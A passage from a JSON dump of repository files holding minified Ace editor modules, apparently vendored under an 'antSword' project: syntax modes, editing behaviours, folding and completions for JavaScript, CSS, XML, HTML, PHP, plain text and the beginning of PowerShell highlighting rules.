r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/php\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/php_highlight_rules\",\"ace/mode/php_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/unicode\",\"ace/mode/html\",\"ace/mode/javascript\",\"ace/mode/css\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./php_highlight_rules\").PhpHighlightRules,o=e(\"./php_highlight_rules\").PhpLangHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=e(\"../range\").Range,f=e(\"../worker/worker_client\").WorkerClient,l=e(\"./behaviour/cstyle\").CstyleBehaviour,c=e(\"./folding/cstyle\").FoldMode,h=e(\"../unicode\"),p=e(\"./html\").Mode,d=e(\"./javascript\").Mode,v=e(\"./css\").Mode,m=function(e){this.HighlightRules=o,this.$outdent=new u,this.$behaviour=new l,this.foldingRules=new c};r.inherits(m,i),function(){this.tokenRe=new RegExp(\"^[\"+h.packages.L+h.packages.Mn+h.packages.Mc+h.packages.Nd+h.packages.Pc+\"_]+\",\"g\"),this.nonTokenRe=new RegExp(\"^(?:[^\"+h.packages.L+h.packages.Mn+h.packages.Mc+h.packages.Nd+h.packages.Pc+\"_]|s])+\",\"g\"),this.lineCommentStart=[\"//\",\"#\"],this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o!=\"doc-start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/php-inline\"}.call(m.prototype);var g=function(e){if(e&&e.inline){var t=new m;return t.createWorker=this.createWorker,t.inlinePhp=!0,t}p.call(this),this.HighlightRules=s,this.createModeDelegates({\"js-\":d,\"css-\":v,\"php-\":m}),this.foldingRules.subModes[\"php-\"]=new c};r.inherits(g,p),function(){this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/php_worker\",\"PhpWorker\");return t.attachToDocument(e.getDocument()),this.inlinePhp&&t.call(\"setOptions\",[{inline:!0}]),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/php\"}.call(g.prototype),t.Mode=g})"
  },
  {
    "path": "antSword/static/libs/ace/mode-plain_text.js",
    "content": "ace.define(\"ace/mode/plain_text\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/behaviour\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./behaviour\").Behaviour,u=function(){this.HighlightRules=s,this.$behaviour=new o};r.inherits(u,i),function(){this.type=\"text\",this.getNextLineIndent=function(e,t,n){return\"\"},this.$id=\"ace/mode/plain_text\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-powershell.js",
    "content": "ace.define(\"ace/mode/powershell_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"function|if|else|elseif|switch|while|default|for|do|until|break|continue|foreach|return|filter|in|trap|throw|param|begin|process|end\",t=\"Get-Alias|Import-Alias|New-Alias|Set-Alias|Get-AuthenticodeSignature|Set-AuthenticodeSignature|Set-Location|Get-ChildItem|Clear-Item|Get-Command|Measure-Command|Trace-Command|Add-Computer|Checkpoint-Computer|Remove-Computer|Restart-Computer|Restore-Computer|Stop-Computer|Reset-ComputerMachinePassword|Test-ComputerSecureChannel|Add-Content|Get-Content|Set-Content|Clear-Content|Get-Command|Invoke-Command|Enable-ComputerRestore|Disable-ComputerRestore|Get-ComputerRestorePoint|Test-Connection|ConvertFrom-CSV|ConvertTo-CSV|ConvertTo-Html|ConvertTo-Xml|ConvertFrom-SecureString|ConvertTo-SecureString|Copy-Item|Export-Counter|Get-Counter|Import-Counter|Get-Credential|Get-Culture|Get-ChildItem|Get-Date|Set-Date|Remove-Item|Compare-Object|Get-Event|Get-WinEvent|New-Event|Remove-Event|Unregister-Event|Wait-Event|Clear-EventLog|Get-Eventlog|Limit-EventLog|New-Eventlog|Remove-EventLog|Show-EventLog|Write-EventLog|Get-EventSubscriber|Register-EngineEvent|Register-ObjectEvent|Register-WmiEvent|Get-ExecutionPolicy|Set-ExecutionPolicy|Export-Alias|Export-Clixml|Export-Console|Export-Csv|ForEach-Object|Format-Custom|Format-List|Format-Table|Format-Wide|Export-FormatData|Get-FormatData|Get-Item|Get-ChildItem|Get-Help|Add-History|Clear-History|Get-History|Invoke-History|Get-Host|Read-Host|Write-Host|Get-HotFix|Import-Clixml|Import-Csv|Invoke-Command|Invoke-Expression|Get-Item|Invoke-Item|New-Item|Remove-Item|Set-Item|Clear-ItemProperty|Copy-ItemProperty|Get-ItemProperty|Move-ItemProperty|New-ItemProperty|Remove-ItemProperty|Rename-ItemProperty|Set-ItemProperty|Get-Job|Receive-Job|Remove-Job|Start-Job|Stop-Job|Wait-Job|Stop-Process|Update-List|Get-Location|Pop-Location|Push-Location|Set-Location|Send-MailMessage|Add-Member|Get-Member|Move-Item|Compare-Object|Group-Object|Measure-Object|New-Object|Select-Object|Sort-Object|Where-Object|Out-Default|Out-File|Out-GridView|Out-Host|Out-Null|Out-Printer|Out-String|Convert-Path|Join-Path|Resolve-Path|Split-Path|Test-Path|Get-Pfxcertificate|Pop-Location|Push-Location|Get-Process|Start-Process|Stop-Process|Wait-Process|Enable-PSBreakpoint|Disable-PSBreakpoint|Get-PSBreakpoint|Set-PSBreakpoint|Remove-PSBreakpoint|Get-PSDrive|New-PSDrive|Remove-PSDrive|Get-PSProvider|Set-PSdebug|Enter-PSSession|Exit-PSSession|Export-PSSession|Get-PSSession|Import-PSSession|New-PSSession|Remove-PSSession|Disable-PSSessionConfiguration|Enable-PSSessionConfiguration|Get-PSSessionConfiguration|Register-PSSessionConfiguration|Set-PSSessionConfiguration|Unregister-PSSessionConfiguration|New-PSSessionOption|Add-PsSnapIn|Get-PsSnapin|Remove-PSSnapin|Get-Random|Read-Host|Remove-Item|Rename-Item|Rename-ItemProperty|Select-Object|Select-XML|Send-MailMessage|Get-Service|New-Service|Restart-Service|Resume-Service|Set-Service|Start-Service|Stop-Service|Suspend-Service|Sort-Object|Start-Sleep|ConvertFrom-StringData|Select-String|Tee-Object|New-Timespan|Trace-Command|Get-Tracesource|Set-Tracesource|Start-Transaction|Complete-Transaction|Get-Transaction|Use-Transaction|Undo-Transaction|Start-Transcript|Stop-Transcript|Add-Type|Update-TypeData|Get-Uiculture|Get-Unique|Update-Formatdata|Update-Typedata|Clear-Variable|Get-Variable|New-Variable|Remove-Variable|Set-Variable|New-WebServiceProxy|Where-Object|Write-Debug|Write-Error|Write-Host|Write-Output|Write-Progress|Write-Verbose|Write-Warning|Set-WmiInstance|Invoke-WmiMethod|Get-WmiObject|Remove-WmiObject|Connect-WSMan|Disconnect-WSMan|Test-WSMan|Invoke-WSManAction|Disable-WSManCredSSP|Enable-WSManCredSSP|Get-WSManCredSSP|New-WSManInstance|Get-WSManInstance|Set-WSManInstance|Remove-WSManInstance|Set-WSManQuickConfig|New-WSManSessionOption\",n=this.createKeywordMapper({\"support.function\":t,keyword:e},\"identifier\"),r=\"eq|ne|ge|gt|lt|le|like|notlike|match|notmatch|r